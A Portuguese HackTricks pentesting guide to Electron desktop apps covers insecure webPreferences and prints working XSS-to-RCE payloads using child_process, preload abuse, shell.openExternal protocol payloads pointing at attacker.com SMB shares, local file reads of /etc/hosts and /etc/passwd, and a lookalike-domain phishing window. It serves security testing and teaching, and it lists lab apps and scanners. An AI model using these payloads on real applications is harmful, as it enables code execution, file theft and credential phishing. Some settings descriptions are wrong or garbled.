hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps
2023-12-31 02:51:55 +00:00
..
electron-contextisolation-rce-via-electron-internal-code.md Translated ['linux-hardening/privilege-escalation/electron-cef-chromium- 2023-10-27 16:25:29 +00:00
electron-contextisolation-rce-via-ipc.md Translated ['linux-hardening/privilege-escalation/electron-cef-chromium- 2023-10-27 16:25:29 +00:00
electron-contextisolation-rce-via-preload-code.md Translated ['linux-hardening/privilege-escalation/electron-cef-chromium- 2023-10-27 16:25:29 +00:00
README.md Translated ['network-services-pentesting/pentesting-web/README.md', 'net 2023-12-31 02:51:55 +00:00

Aplicações Desktop Electron

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Introdução

Electron é baseado no Chromium, mas não é um navegador. Certos princípios e mecanismos de segurança implementados pelos navegadores modernos não estão presentes.
Você pode ver o Electron como um aplicativo local de backend+frontend onde NodeJS é o backend e chromium é o frontend.

Geralmente, você pode encontrar o código do aplicativo Electron dentro de um arquivo .asar. Para obter o código, você precisa extraí-lo:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

No código-fonte de um aplicativo Electron, dentro de packet.json, você pode encontrar especificado o arquivo main.js onde as configurações de segurança são definidas.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron possui 2 tipos de processos:

  • Processo Principal (tem acesso completo ao NodeJS)
  • Processo de Renderização (deve ter acesso restrito ao NodeJS por razões de segurança)

Um processo de renderização será uma janela do navegador carregando um arquivo:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

As configurações do processo de renderização podem ser configuradas no processo principal dentro do arquivo main.js. Algumas das configurações irão prevenir que a aplicação Electron obtenha RCE ou outras vulnerabilidades se as configurações estiverem corretamente configuradas.

A aplicação desktop pode ter acesso ao dispositivo do usuário através das APIs Node. As seguintes duas configurações são responsáveis por fornecer mecanismos para prevenir que o JavaScript da aplicação tenha acesso direto ao dispositivo do usuário e comandos a nível de sistema.

  • nodeIntegration - está desligado por padrão. Se ligado, permite acessar recursos do node a partir do processo de renderização.
  • contextIsolation - está ligado por padrão. Se ligado, os processos principal e de renderização não estão isolados.
  • preload - vazio por padrão.
  • sandbox - está desligado por padrão. Ele restringirá as ações que o NodeJS pode executar.
  • Integração do Node em Workers
  • nodeIntegrationInSubframes- está desligado por padrão.
  • Se nodeIntegration estiver habilitado, isso permitiria o uso das APIs Node.js em páginas web que são carregadas em iframes dentro de uma aplicação Electron.
  • Se nodeIntegration estiver desabilitado, então os preloads serão carregados no iframe

Exemplo de configuração:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Alguns RCE payloads daqui aqui:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Captura de tráfego

Modifique a configuração de start-main e adicione o uso de um proxy, como:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Injeção de Código Local Electron

Se você consegue executar localmente um App Electron, é possível que você faça com que ele execute código javascript arbitrário. Veja como em:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCE: XSS + nodeIntegration

Se o nodeIntegration estiver configurado como on, o JavaScript de uma página web pode usar facilmente os recursos do Node.js apenas chamando o require(). Por exemplo, a maneira de executar o aplicativo calc no Windows é:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>
<figure><img src="../../../.gitbook/assets/image (5) (4).png" alt=""><figcaption></figcaption></figure>

## RCE: preload

O script indicado nesta configuração é **carregado antes de outros scripts no renderer**, portanto tem **acesso ilimitado às APIs do Node**:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Portanto, o script pode exportar funcionalidades do node para páginas:

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
{% endcode %}

{% code title="index.html" %}
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} Se contextIsolation estiver ativado, isso não funcionará {% endhint %}

RCE: XSS + contextIsolation

O contextIsolation introduz contextos separados entre os scripts da página web e o código interno do JavaScript do Electron de modo que a execução do JavaScript de cada código não afete o outro. Esta é uma característica necessária para eliminar a possibilidade de RCE.

Se os contextos não estiverem isolados, um atacante pode:

  1. Executar JavaScript arbitrário no renderer (XSS ou navegação para sites externos)
  2. Sobrescrever o método integrado que é usado no código de preload ou no código interno do Electron para sua própria função
  3. Disparar o uso da função sobrescrita
  4. RCE?

Existem 2 locais onde métodos integrados podem ser sobrescritos: No código de preload ou no código interno do Electron:

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

Bypass no evento de clique

Se houver restrições aplicadas quando você clica em um link, você pode ser capaz de contorná-las fazendo um clique com o botão do meio em vez de um clique esquerdo regular

window.addEventListener('click', (e) => {

RCE via shell.openExternal

Se a aplicação desktop Electron for implantada com as configurações adequadas de nodeIntegration, contextIsolation; isso simplesmente significa que RCE do lado do cliente, visando scripts de pré-carregamento ou código nativo do Electron a partir do processo principal, não pode ser alcançado.

Cada vez que um usuário clica no link ou abre uma nova janela, os seguintes ouvintes de eventos são invocados:

{% code overflow="wrap" %}

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

{% endcode %}

O aplicativo de desktop sobrepõe esses listeners para implementar a própria lógica de negócios do aplicativo de desktop. Durante a criação de novas janelas, o aplicativo verifica se o link navegado deve ser aberto em uma janela ou aba do aplicativo de desktop, ou se deve ser aberto no navegador web. Em nosso exemplo, a verificação é implementada com a função openInternally, se ela retornar false, o aplicativo assumirá que o link deve ser aberto no navegador web usando a função shell.openExternal.

Aqui está um pseudocódigo simplificado:

De acordo com as melhores práticas de segurança do Electron JS, a função openExternal não deve aceitar conteúdo não confiável porque isso poderia levar a RCE abusando de diferentes protocolos se o aplicativo não limitar a navegação dos usuários através de protocolos como https:// ou http://.

Diferentes sistemas operacionais suportam diferentes protocolos que podem desencadear RCE, para mais informações sobre eles, confira https://positive.security/blog/url-open-rce, mas aqui estão alguns exemplos do Windows:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>


<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
</script>


<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Para mais informações sobre estes exemplos, consulte https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 e https://benjamin-altpeter.de/shell-openexternal-dangers/

Ler Arquivos Internos: XSS + contextIsolation

Se contextIsolation estiver definido como false, você pode tentar usar <webview> (similar a <iframe>, mas pode carregar arquivos locais) para ler arquivos locais e exfiltrá-los: usando algo como <webview src=”file:///etc/passwd”></webview>:

Outra maneira de ler um arquivo interno a partir deste relatório:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Chromium Antigo

Se o chromium usado pela aplicação for antigo e houver vulnerabilidades conhecidas nele, pode ser possível explorá-lo e obter RCE através de um XSS.
Você pode ver um exemplo neste writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing via bypass de regex de URL interna

Supondo que você encontrou um XSS mas não pode disparar RCE ou roubar arquivos internos, você poderia tentar usá-lo para roubar credenciais via phishing.

Primeiro de tudo, você precisa saber o que acontece quando você tenta abrir uma nova URL, verificando o código JS na interface:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

A chamada para openInternally decidirá se o link será aberto na janela do desktop como um link pertencente à plataforma, ou se será aberto no navegador como um recurso de terceiros.

No caso de a regex usada pela função ser vulnerável a bypasses (por exemplo, por não escapar os pontos dos subdomínios), um atacante poderia abusar do XSS para abrir uma nova janela que estará localizada na infraestrutura do atacante solicitando credenciais ao usuário:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Ferramentas

  • Electronegativity é uma ferramenta para identificar má configurações e anti-padrões de segurança em aplicações baseadas em Electron.
  • Electrolint é um plugin de código aberto para VS Code para aplicações Electron que utiliza Electronegativity.
  • nodejsscan para verificar bibliotecas de terceiros vulneráveis
  • Electro.ng: É necessário comprar

Laboratórios

Em https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s você pode encontrar um laboratório para explorar aplicações Electron vulneráveis.

Alguns comandos que irão ajudá-lo com o laboratório:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referências

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: